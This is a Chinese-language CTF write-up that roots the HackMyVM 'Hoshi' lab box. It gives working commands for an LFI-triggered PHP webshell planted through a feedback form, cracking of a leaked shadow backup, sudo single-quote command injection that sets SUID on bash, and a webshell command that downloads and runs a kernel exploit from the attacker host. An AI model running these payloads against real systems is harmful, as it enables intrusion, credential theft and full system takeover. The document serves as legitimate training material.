跳到主要内容

HackMyVM Hoshi 通关记录|盲水印、LFI 文件包含与 sudo 注入提权

靶机链接:Hoshi


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Hoshi192.168.1.112

攻击流程

点击展开

攻击链摘要

阶段关键操作结果
服务发现RustScan → Nmap 识别 SSH + Apache/PHP确定 80 端口为主攻击面
隐写分析robots.txt → BlindWaterMark → 两张 QQ.png 提取盲水印水印文字 "hoshi"
目录爆破基于 "hoshi" 爆破 → /hoshi/发现 gift.php LFI + admin.html 静态生成
密码获取sitemap.xml 提示 + 首页客服电话400-123-4567 = admin 密码
代码执行反馈昵称 PHP 一句话 → 登录 admin 生成 admin.html → gift.php LFI 包含 admin.html → CWD 写入 webshellwww-data RCE
凭据窃取/var/backups/shadow~(world-readable)→ welcome SHA-512 哈希john + rockyou → welcome:loveme2
横向移动SSH welcome → sudo -lNOPASSWD: python3 /root/12345.py
本地提权12345.py exec_cmd 单引号注入 → chmod +s /bin/bashbash -p → root
备用提权内核 4.19 命中 Copy Fail页缓存投毒 su → root

0x02 侦察与信息收集 (Reconnaissance)

1. 端口扫描

rustscan -a 192.168.1.112 --ulimit 5000 -- -sC -sV
Open 192.168.1.112:22
Open 192.168.1.112:80
端口服务指纹
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u3
80/tcpHTTPApache/2.4.62 (Debian) PHP 8.3.19

2. Web 枚举

首页 index.php 是「商品反馈 - 星际商城」留言板,涵盖昵称、邮箱、商品名称、反馈内容四个字段。

手动 + gobuster 枚举关键路径:

路径状态发现
/info.php200phpinfo() 完整输出:PHP 8.3.19,无 disable_functions,无 open_basedir
/robots.txt200隐写线索(见下文)
/sitemap.xml200安全提示(见下文)
/admin.php200管理后台,单密码框
/uploads/200目录列表开启

3. robots.txt → BlindWaterMark

User-agent: https://maze-sec.com
Disallow: /img/QQ.png

# Note: `Blind` in the storm, yet stars guide through the `water`.

(38 行空行)

Sitemap: /sitemap.xml

回引号 `Blind``water`BlindWaterMark 盲水印工具。Disallow: /img/QQ.pngUser-agent: https://maze-sec.com 提示需要对比两张 QQ.png。

注意: robots.txt 中写的是 /img/QQ.png,但靶机上 /img/ 目录实际 404;真正的水印图位于 /QQ.png(web 根目录)。可以直接通过审查首页源码 <img src="QQ.png" alt="StarMall Logo"> 发现它的真实位置。这是靶机的故意误导。

# 下载原图(maze-sec.com 真实网站)和靶机水印图
# (若实验环境中无法访问外网 maze-sec.com,需要提前准备好原图 QQ_original.png)
curl -o QQ_original.png https://maze-sec.com/img/QQ.png # 1619330B,有 EXIF/sRGB
curl -o QQ_target.png http://192.168.1.112/QQ.png # 1544103B,无 EXIF,有蓝色左边界
# 靶机图片实际在 /QQ.png 而非 /img/QQ.png

# 提取盲水印
git clone https://github.com/chishaxie/BlindWaterMark.git
python3 BlindWaterMark/bwmforpy3.py decode QQ_original.png QQ_target.png wm.png

提取的水印肉眼可见 "hoshi"(日语"星"),对应主机名 hoshi.lan

4. hoshi → /hoshi/ 目录 → gift.php LFI

基于水印 "hoshi" 爆破目录。ffuf 的常用参数和参数发现思路可参考知识库:ffuf Web Fuzz 与参数发现

ffuf -u http://192.168.1.112/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php -fc 404 -t 50

发现 /hoshi/ 目录,其中 gift.php 存在文件包含漏洞:

curl http://192.168.1.112/hoshi/gift.php?file=admin.php
# 返回 admin.php 渲染后的 HTML(gift.php 的 include 基路径为 /var/www/html/)

gift.php 限制条件:

允许禁止
[a-zA-Z0-9_.-] 字符/..php:// 伪协议
include 基路径为 /var/www/html/路径遍历
被包含的 PHP 代码被执行(CWD = /var/www/html/hoshi/

这类受限 LFI 的关键是确认包含基路径、可控文件名字符集和被包含文件是否会被 PHP 解析。通用排查清单可参考知识库:LFI 任意文件读取与运行时信息收集

5. sitemap.xml → 密码线索

Admins, please don't use any easily guessable info as passwords.
Simply setting an element to "display:none" is not secure.
Remember to remove debug information completely for security.

三条提示:

  1. 密码可猜测 → 首页客服电话 400-123-4567 即密码
  2. display:none 不保险 → 后台底部有隐藏 [debug] 信息
  3. debug 信息未清理 → 登录后生成 admin.html 包含调试内容

0x03 漏洞探测与分析 (Vulnerability Analysis)

1. admin.php 弱凭据登录与静态页面生成

首页显示的客服电话 400-123-4567 实际上就是管理员密码。我们可以先获取 session cookie 并进行登录:

# 先获取 session cookie
curl -c cookie.txt http://192.168.1.112/admin.php

# 登录
curl -b cookie.txt -X POST http://192.168.1.112/admin.php \
-d "password=400-123-4567"

登录成功后通过 gift.php LFI 读取 admin.php 源码确认:

$admin_password = '400-123-4567';
if ($_POST['password'] === $admin_password) {
// 登录成功
}

后台底部存在 display:none<div>

<div style="display:none" id="static-tip">[debug] 静态页面已生成</div>

登录后 /var/www/html/admin.html(web 根目录,而非 /hoshi/)被静态写入,内容为管理员仪表板(反馈统计 + 文件列表)。其中 Name 行的原始 PHP 代码被未编码地嵌入 HTML,为后续 LFI 触发执行埋下伏笔。

2. 反馈表单 PHP 代码注入点分析

反馈表单生成的 .txt 文件中,仅 Name 行(username 字段)保留原始值,不做 HTML 编码:

=== Feedback Details ===
Name: <?php 此处原样保留 ?>
Email: &lt;?php 此处被 HTML 编码 ?&gt;
Product: &lt;?php 同上 ?&gt;
Feedback: &lt;?php 同上 ?&gt;
================

admin.php 登录后会读取这些 .txt 文件并生成 admin.html 静态页面,其中 Name 行的原始 PHP 代码被直接写入 HTML 而未编码。随后通过 gift.php LFI 包含 admin.html 时,PHP 引擎执行嵌入的代码,CWD 为 gift.php 所在的 /var/www/html/hoshi/。任意写 WebShell 的落点判断可参考知识库:任意文件写入到 WebShell


0x04 核心攻击链:代码注入与 LFI 获取初始权限

1. 构造 webshell 与触发执行

webshell 代码需要用 base64_decode 避免内层 <?php 提前闭合外层标签:

# Step 1: 获取 session
curl -c cookie.txt http://192.168.1.112/

# Step 2: 反馈昵称注入 PHP 一句话
# base64: PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+ = <?php system($_GET['c']);?>
# 必须使用 --data-urlencode,否则 base64 末尾的 + 号会被当作空格截断
curl -b cookie.txt -X POST http://192.168.1.112/index.php \
--data-urlencode "username=<?php file_put_contents('s.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+'));echo 'SHELL_OK';?>" \
--data-urlencode "email=a@a.com" \
--data-urlencode "product=a" \
--data-urlencode "feedback=a"

检查 /uploads/ 确认 .txt 已生成:

curl http://192.168.1.112/uploads/
%3c%3fphp%20file_put_contents...%3f%3e_20260601135604.txt ← PHP 代码可见

触发 webshell 执行:

# Step 3: 登录 admin.php → 生成 admin.html(Name 行 PHP 代码被原样写入)
curl -c cookie_admin.txt http://192.168.1.112/admin.php
curl -b cookie_admin.txt -X POST http://192.168.1.112/admin.php \
-d "password=400-123-4567"
# Step 4(关键步骤): 通过 gift.php LFI 包含 admin.html → 触发 PHP 执行
# admin.html 生成在 web 根目录,gift.php 的 include 基路径恰好是 /var/www/html/
curl 'http://192.168.1.112/hoshi/gift.php?file=admin.html'
# 此时 PHP 引擎处理 admin.html 中嵌入 of <?php file_put_contents('s.php',...) ?>
# CWD = /var/www/html/hoshi/ → s.php 写入 /var/www/html/hoshi/s.php
# Step 5: 验证 webshell
curl 'http://192.168.1.112/hoshi/s.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

2. shadow~ 备份泄露与 Hash 破解

通过 Webshell 枚举敏感备份文件:

curl 'http://192.168.1.112/hoshi/s.php' --get --data-urlencode 'c=ls -la /var/backups/shadow* 2>&1'
-rw-r--r-- 1 root root 943 Mar 30 2025 /var/backups/shadow~

注意: 靶机上实际泄露的文件是 shadow~(dpkg 自动备份,权限 644 world-readable),而非 shadow.bak(不存在)。

读取 shadow~ 文件内容:

curl 'http://192.168.1.112/hoshi/s.php' --get --data-urlencode 'c=cat /var/backups/shadow~ 2>&1' | grep -v ':\*:\|:!:'
root:$6$TfSlMzl8/eUh9mY0$wVygBx94VuTMRZq016O3IPG2mn1e.MFz2WKK.pACuy/Sa1dTHqu0vWtbTBrt/Q8dIWGBeYrY90ERemhYElKHv1:20190:0:99999:7:::
welcome:$6$geD2QaGnx/AiHPAb$8ihVmhNA1GIUFbAkCuUp.KzsUuzAztIlrYNbPFoyORE9U9dsf/L13AuCNpqkJSxu0HG4ltlhJFJKU2Y1Gj8Sg.:20259:0:99999:7:::

额外发现: shadow~ 中同时包含 root 的密码哈希。不过本文没有验证 root 哈希破解结果可以成功 su root,因此不把它写成可用 root 密码或提权路径。

使用 john 破解 welcome 用户哈希:

echo 'welcome:$6$geD2QaGnx/AiHPAb$8ihVmhNA1GIUFbAkCuUp.KzsUuzAztIlrYNbPFoyORE9U9dsf/L13AuCNpqkJSxu0HG4ltlhJFJKU2Y1Gj8Sg.' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
welcome:loveme2

shadow~ 中的 root 哈希只说明敏感备份泄露范围更大;没有成功登录或 su 的回显前,不应把 john 的候选结果当作已验证凭据。

3. SSH 初始访问与 User Flag

使用得到的凭据进行 SSH 登录:

sshpass -p 'loveme2' ssh welcome@192.168.1.112

登录成功后读取 user flag:

welcome@hoshi:~$ cat user.txt
flag{user-50c96546cc54b4adc381c77a0189b1e7}

0x05 权限提升 (Privilege Escalation)

路线总览

在 welcome 用户权限下,我们可以通过以下两条路线提升至 root:

路线核心条件结果
路线 A:sudo 单引号注入提权存在可 NOPASSWD 执行的 Python 脚本 /root/12345.py,其内部存在命令单引号注入提权至 root 并获取 root flag
路线 B:Copy Fail 内核提权内核版本为 4.19.0-27-amd64,命中 Copy Fail (CVE-2026-31431)页缓存投毒覆写 SUID 工具直接拿 root

路线 A:sudo 单引号注入提权

A.1 12345.py 漏洞分析

检查当前用户可运行的 sudo 命令:

welcome@hoshi:~$ sudo -l
User welcome may run the following commands on hoshi:
(ALL) NOPASSWD: /usr/bin/python3 /root/12345.py

/root/12345.py 是一个 Python socket 服务,监听 12345 端口,提供 exec_cmd 功能。

漏洞代码:

def exec_cmd(cmd, client_addr):
# 正则过滤:禁止 ; | < >
if re.search(r'[;|<>]', cmd):
return error

# 白名单:只允许 4 个命令
allowed_cmds = ["whoami", "pwd", "date", "id"]
base_cmd = cmd.split("'")[0].strip() # ← BUG: 只检查第一个 ' 前的内容
if base_cmd not in allowed_cmds:
return error

# 拼接进 sh -c(单引号可闭合!)
full_cmd = f"sh -c '{cmd}'"
result = subprocess.run(full_cmd, shell=True, ...)

绕过分析:

检查如何绕过
re.search(r'[;|<>]', cmd)#&' 均不在黑名单
cmd.split("'")[0]单引号前为 whoami,在白名单内
sh -c '{cmd}'单引号闭合字符串,&& 后的命令在引号外执行

A.2 Exploit 注入提权

# 启动服务(sudo 以 root 运行)
welcome@hoshi:~$ sudo python3 /root/12345.py &
[1] 1234

# Python socket 连接并注入
welcome@hoshi:~$ python3 << 'EOF'
import socket
s = socket.socket()
s.connect(("127.0.0.1", 12345))
s.recv(1024) # conf>

# base_cmd = "whoami" → 白名单通过
# sh -c 'whoami' && chmod +s /bin/bash #'
# # 注释掉尾部引号,chmod 以 root 执行
s.send(b"exec_cmd whoami' && chmod +s /bin/bash #\n")
print(s.recv(4096).decode())
s.close()
EOF
Response: root

A.3 Root flag

welcome@hoshi:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash

welcome@hoshi:~$ /bin/bash -p -c 'id; cat /root/root.txt'
uid=1000(welcome) gid=1000(welcome) euid=0(root) egid=0(root) groups=0(root),1000(welcome)
flag{root-c7d8a66bcc0b7cccaeb44b9524545f45}

路线 B:Copy Fail 内核提权

靶机内核 4.19.0-27-amd64 命中 CVE-2026-31431(Copy Fail)。AF_ALG + splice 页缓存投毒覆写 /usr/bin/su,execve 时获得 root。漏洞原理和通用利用方式见知识库:CVE-2026-31431 Copy Fail Linux 内核提权

# 攻击机分发预编译 exploit
cd /home/kali/tools/copy-fail-c
python3 -m http.server 9999 &

# 靶机 webshell 下载(URL 中 / : 等字符用 chr() 构造避免被截断)
curl 'http://192.168.1.112/hoshi/s.php?c=python3%20-c%20"import%20urllib.request;open(%27/tmp/exploit%27,%27wb%27).write(urllib.request.urlopen(%27http://192.168.1.113:9999/exploit%27).read())"'

# 执行
curl 'http://192.168.1.112/hoshi/s.php?c=chmod%20%2Bx%20/tmp/exploit%20%26%26%20/tmp/exploit'
[+] target: /usr/bin/su
[+] payload: 1408 bytes (352 iterations)
[+] page cache mutated; exec'ing target
curl 'http://192.168.1.112/hoshi/s.php?c=echo%20id%20%7C%20su'
uid=0(root) gid=0(root) groups=0(root),33(www-data)

0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/welcome/user.txt
  • 内容: flag{user-50c96546cc54b4adc381c77a0189b1e7}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-c7d8a66bcc0b7cccaeb44b9524545f45}

0x07 敏感文件清单

文件权限用途
/var/backups/shadow~root:root 644root + welcome SHA-512 密码哈希(world-readable,关键泄露点)
/var/backups/passwd.bakroot:root 600系统用户列表
/root/12345.pyroot:root 755Python socket 服务,sudo NOPASSWD 提权入口
/root/congrats.txtroot:root 644CTF 出题人祝贺留言
/opt/server.confroot:root 644空配置(12345.py 写入目标)
/opt/server.logroot:root 644空日志(12345.py 日志)
/etc/cron.d/phproot:root 644PHP session 清理 cron
/etc/apache2/sites-enabled/000-default.confuploads 目录 AllowOverride All

复盘总结

  1. 隐写线索是高质量引导。 回引号 `Blind` `water` → BlindWaterMark → "hoshi" → /hoshi/ 目录,一条线索串联三个阶段。

  2. 密码在最显眼处。 sitemap.xml 说「不要用容易猜到的信息」,而 400-123-4567 就写在首页黄色大字里。安全提示 + 页面信息的组合是获取 admin 权限的唯一钥匙。

  3. Name 行未编码是 RCE 唯一入口。 反馈表单四个字段三个做了 HTML 编码,唯独 username 在 .txt 文件和 admin.html 中保留原始 <?php 标签。但 admin.php 本身不会执行嵌入代码——需要通过 gift.php LFI 包含 admin.html 才能触发 PHP 引擎解析。

  4. admin.html 落点 + gift.php include 路径的巧合。 admin.html 被写入 /var/www/html/(web 根),而 gift.php 的 include 基路径恰好也是 /var/www/html/,因此 gift.php?file=admin.html 命中。PHP 执行时 CWD 是 /var/www/html/hoshi/(gift.php 所在目录),所以相对路径 file_put_contents('s.php', ...) 写入到 /hoshi/s.php

  5. shadow~ 而非 shadow.bak。 实际泄露文件是 /var/backups/shadow~(dpkg 自动备份,权限 644 world-readable),而非 shadow.bak(不存在)。shadow~ 同时包含 root 哈希,但没有成功 su root 的验证回显前,只能作为敏感泄露风险记录,不能写成可用 root 密码。

  6. --data-urlencode 不可省略。 base64 字符串 PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+ 末尾的 + 号在 curl -d 中会被解码为空格,导致 payload 损坏。必须使用 --data-urlencode

  7. 字符串拼接 + shell 包装 = 经典注入。 split("'")[0] 只验单引号前内容,sh -c '{cmd}' 又用单引号包装,两个机制叠加让黑名单正则 (;|<>) 形同虚设。

  8. 两条已验证 root 路径。 本文保留两条有命令和回显支撑的 root 路线:① sudo 12345.py 单引号注入(主线);② 内核 4.19 Copy Fail(通用备选)。